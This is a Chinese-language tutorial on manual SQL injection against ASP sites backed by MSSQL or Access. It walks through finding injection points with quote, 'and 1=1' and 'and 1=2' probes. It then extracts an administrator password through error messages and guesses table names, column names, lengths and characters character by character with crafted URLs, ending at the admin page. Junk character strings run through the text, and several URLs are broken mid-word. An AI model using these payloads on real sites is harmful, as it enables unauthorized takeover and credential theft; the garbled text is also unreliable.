隨著網絡經濟的復舒,開始越來越多的網站湧現出來,隨著腳本漏洞的挖掘,黑客也越來越猖狂,並且越來越低齡化和傻瓜化。「你只要會用一個玩具就可以黑站」,這就是腳本漏洞利的特點。這些漏洞的主要成因是編程程序員的素質,往往在編寫asp或php等程序時候對字符的過濾不嚴密,對注入漏洞不瞭解,或者某個參數忘記檢查導致的。! T3 r r* \8 T ]* j: n u
( {; o% \8 H# y1 ~由於編寫網頁程序這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。( q: `9 [7 m* A4 ^; A4 h
o3 `1 P2 s2 O, [* e2 Y相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。我們看一個例子:在本機建一個基於iis的asp程序http://localhost/test/show.asp?ID=3,將這個網址提交到服務器後,服務器將進行類似Select * from 表名 where 字段="&ID的查詢(ID即客戶端提交的參數,本例即是3),再將查詢結果返回給客戶端,如果這裡客戶端故意提交這麼一個網址:http://localhost/test/show.asp?ID=3 and user>0,這時,服務器運行Select * from 表名 where 字段=444 and user>0這樣的查詢,當然,這個語句是運行不下去的,肯定出錯,錯誤信息如下:+ I% M: @1 F: A ~7 Z
/ k0 x% V2 ~$ P9 e0 I, ]
·錯誤類型:' q% }* z: f$ m# F) C
& p) A V B6 qMicrosoft OLE DB Provider for ODBC Drivers (0x80040E07)
; w* B/ v3 | j7 {* L6 W. e5 M+ H: ][Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 』test』 轉換為數據類型為 int 的列時發生語法錯誤。
9 w5 \3 Z& `! I+ o3 x! ?' g; j/test/show.asp, 第 34 行$ q9 q: p4 a# x
6 h1 F: o$ m. V- U) E5 P從這個出錯信息中,我們可以獲得以下信息:該站使用MSSQL數據庫,用ODBC連接,連接帳號名為:test。所謂SQL注入,就是利用程序員對用戶輸入數據的合法性檢測不嚴或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取想得到的資料。通常別有用心者的目標是獲取網站管理員的帳號和密碼。比如當知道網站管理員帳號存在表login中,管理員帳號名為admin 想知道admin的密碼,這裡接著從客戶端提交這樣一個網址:7 \ t, `( N) q& \6 p% ]
http://localhost/test/show.asp?ID=4 and (Select password fro
) K, b1 |4 R/ e1 \4 {9 a% v% a' n v: _- F+ u" k3 e
m login where user_name=』admin』)>0,返回的出錯信息如下:( L5 P. J- f8 ]$ q3 t
2 Y- X; J4 ]1 ?1 g0 |
·錯誤類型:
. j+ ^' A; j- J% c. E$ T3 u5 n. h& }
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)4 N) Q3 ?& d- N( w+ e1 G" w6 T
[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 』admin888』 轉換為數據類型為 int 的列時發生語法錯誤。! I* q# q# A- G
/test/show.asp, 第 34 行
: c8 k4 y! d: W: o2 z
( J; x! g3 `9 C/ o現在出來了「admin888」就是管理員的密碼!得到這個密碼,這時您就可以用這個帳號和密碼接管人家的網站了!當然我們並不知道帳號就在表login中,而且也不知道管理員名為admin,但這些不容難辦到,我們可以寫個玩具進行猜解,速度很快就可以找到你想要的東西了。前面是有關mssql數據庫的注入基礎,我們再看一看acce數據庫的注入基礎:首先進行瀏覽器的設置,以保證手工注入時能返回出錯信息。其操作步驟為:右鍵單擊瀏覽器圖標,選擇「屬性」,在彈出來的對話框中選擇「高級」選項卡,接著去掉「顯示友好的HTTP錯誤信息」前面的鉤,最後點擊「應用」按鈕即可。
/ |/ P8 l) m3 C; q, ?3 t2 G, P
' C, `2 F9 E" F- h. H4 k對於sql注入得先找到注入點,注入點的判斷方法為:通常打開一個類似http://wwww.xx
3 `% @, g/ v& [+ S- r4 A% x2 u5 r- Z. S
5 I8 N8 V6 X, ]- Kxx.com/xxx.asp?id=xx的url後加個單引號,變成http://ww.xxx.com/xxx.asp?id=xx』! P+ W* y' k: z9 Q) G+ ~
M! p3 c/ N: i2 s' u
如果出現錯誤提示,則說明可能存在注入漏洞,再輸入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查詢數據庫, 1=1是一個恆等式可以忽略,因此會返回一個正常的頁面,此頁面和http://wwww.xxxx.com/xxx.asp?id=xx一樣,這時入侵者便判斷此站有希望被注入。如果返回的是一些錯誤信息,那麼一些初級的入侵者可能就會放棄這個站點。入侵者進一步向瀏覽器提交如下url: http: //www.xxx.com/xxx.asp?id=xx and 1=2,1=2為一個恆不等式,如果該站點支持數據庫查詢,則大概會返回如下所示的信息:: w# G, u$ y: i
3 a* x% S" h" f( \+ b6 O8 @Microsoft vbscript 編譯器錯誤 錯誤碼率 2 {1 r5 B/ L: l' H/ \6 I; n- [7 P
' f. z ?. h7 K5 C& {) C, v4 ~
『800a03f6』 / l3 s( o* }+ ~5 w0 R+ `9 x0 y& v
4 p' z$ }; z; `缺少』End』
k2 H) o) s& a( N, J* r6 ^: I+ q3 q1 v# U {# `/ _5 [
/iishelp/common/500-100.asp,行242
8 Q4 l2 D d! m% \8 L
% G6 X, ]0 S; l) j8 u7 OADODB.Field 錯誤 『800a0bcd』$ u0 e! E3 J) U
2 E; o, m; s: r0 I9 O+ K
一般出現以上信息就可以確定存在sql注入漏洞了。下面我們來看一下sql注入的過程分析: , u1 V/ F* q; C4 {) h
) j! E0 D1 b9 _ 如: 打開:http://hostlocal/test2/list.asp?id=17在其後面加′為http://hostlocal/test2/list.asp?id=17′
- q R( @4 g* a1 T出錯!顯示為:「數據庫出錯」。那麼接下來我們便進行如下操作:) k7 y, d- N4 N5 S1 @
+ }% ?6 b! [4 p3 L
1 猜管理員帳號表。- v/ i# O, N# H1 f: o+ {" i/ ~
2 猜相應表中的用戶的字段名以及密碼的字段名。+ x3 x( I8 B$ D9 c; r2 ^
3 猜出用戶名的長度和密碼的長度
/ d, \/ d- x+ {' U4 猜出用戶和密碼" o, Y0 s% g' P3 w
5 找到管理頁面進入管理# h* d, }7 P3 N) c- c+ d
% d6 T- C& Z, i; ~猜管理員的表: \, S* ~5 u0 H! v( c: V" x+ ?+ }
3 b( ]2 t" i: V http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)′//min(id)返回表中ID最小值3 A" c, s) k( ?+ s& k9 L( @
返回文章證明,有一個admin的表;如果沒有返回文章,證明出錯不存在admin這個表。: H# Q) K7 w& h! y! a: n5 ~4 f+ u0 M
q' D7 \! y! z `/ H# a, o8 _$ {7 d猜用戶的字段名:
3 {5 i; m. g3 ^9 E5 Z4 c; f. \http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user=′aaa′)返回錯誤信息,表示沒有user這個用戶段名5 k) w+ C' M. [
再來!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username=′aaa′)
~* n( ?& W* L5 X: u- A$ g沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在username個字段,只是用戶名不是aaa/ B' R" H2 {- G$ K, H& I
& i( ~9 Z0 u( L6 J猜密碼的字段名:, O3 x- F! ~3 t+ \) P+ }# t7 E
http://hostlocal/test2/list.asp?id=17 and 1=(select min(i* }2 `& b e! I; ^
& N! t2 i% O R2 P
d) from admin where passwd=′aaa′)返回錯誤信息表示沒有passwd這個密碼字段名。 2 @; `0 P5 Q; w5 C/ D
+ K1 A+ B. G. u* {' U再來:http://hostlocal/test2/list.asp?id=17 and 1=(select+ w: V$ |/ W% X6 _0 X
0 t: G0 A- D3 Z
min(id) from admin where password=aaa′)沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在password這個字段,只是密碼不是aaa
+ z3 E1 Y" h- _& X! R
P% B& |4 `4 v" t0 J猜用戶字段名長度: 8 P" P1 i. O. H9 J
) R" P% M$ l7 t. W& _
http://hostlocal/test2/list.asp?id=17 and 1=(select min(
% @' a+ y4 ]( R0 P- }9 G) X( U) x9 e: H- A2 d
id) from admin where len(username)
! U; |3 \: [, W, M
" g" J: V: ]) _$ m+ _ \5 J# T" t, N>5) 3 M! ~* q( X! c$ L; L, J0 @
! b# s" I* ?* O0 o1 G2 J
正確' t8 K- t: G# W2 p4 }, L
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10)
- y9 e+ N/ }. W& p7 n正確
/ G6 n; g/ `( @# c' z用戶名長度大於5小於10
4 M4 P7 ?; C7 k+ qhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)4 U* X% I: M. p/ N, ~% W
6 F2 E( |. x6 s" \' [1 v
=7)
- O- C4 G9 \/ x- w0 i+ L& [; @$ @
呵``` 用戶名長度為7位9 Y/ E" L b( C) T8 F2 D: \2 M5 m
! e* M: e# j7 \5 [* _! Z% i猜密碼長度:) _0 |" h- [, U5 p
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)
7 y0 u# i/ J/ ? L5 N7 u正確$ B# p; s1 u/ Z7 ^4 D
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)
/ c' M) y; k* b正確! n% m! h6 ~, p: F- I
密碼長度也是大於5小於10
& M) Z) d* [8 B% h$ khttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)8 q# D4 w/ t8 R5 M4 g v4 k* y$ r3 h1 J
呵``` 密碼長度為7位
& V7 J$ k- I0 i$ _
$ g ?# B1 \& w& f( f, E; U猜用戶名:$ b4 @* B1 w9 V5 w* {" S( \
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)=′a′)7 m; ~( u. K, z; X! c5 t
, w/ ?/ {, s0 J2 G+ T, S 用戶名第一個字母是:a
, ~" [: N' }; ]7 t* y
9 q# _& N/ Z: C) [$ d; ]$ P# Y) A4 d猜用戶名第二位:http://hostlocal/test2/list.asp?id=17 and 1=( G" l# L/ s1 ~) G
7 G2 Z6 b8 U9 S: O5 O" h/ _) K(select min(id) from admin where mid(username,2,1)=′b′) : e, v3 t6 x) N" \- |$ m
/ o3 G3 j. w5 v+ E% R以此類推!+ k) f) K' V f
/ o `+ x3 g! U
猜密碼: + K( q/ S. t; x, c/ g( ?. o; A
' O5 m7 s) q/ a7 Q猜密碼跟猜用戶名一樣!
5 R' k+ k3 W* J) d! w1 t. w& hhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)=′a′) 7 \! y1 P; I0 l+ E$ c9 f4 n
猜完後來到管理頁面:
) d7 B1 f& a! K7 X, n* e- c) ahttp://hostlocal/test2/admin.asp
/ {! E* f9 N s
" d* T! T9 n% y2 ]# }. \登錄 |
|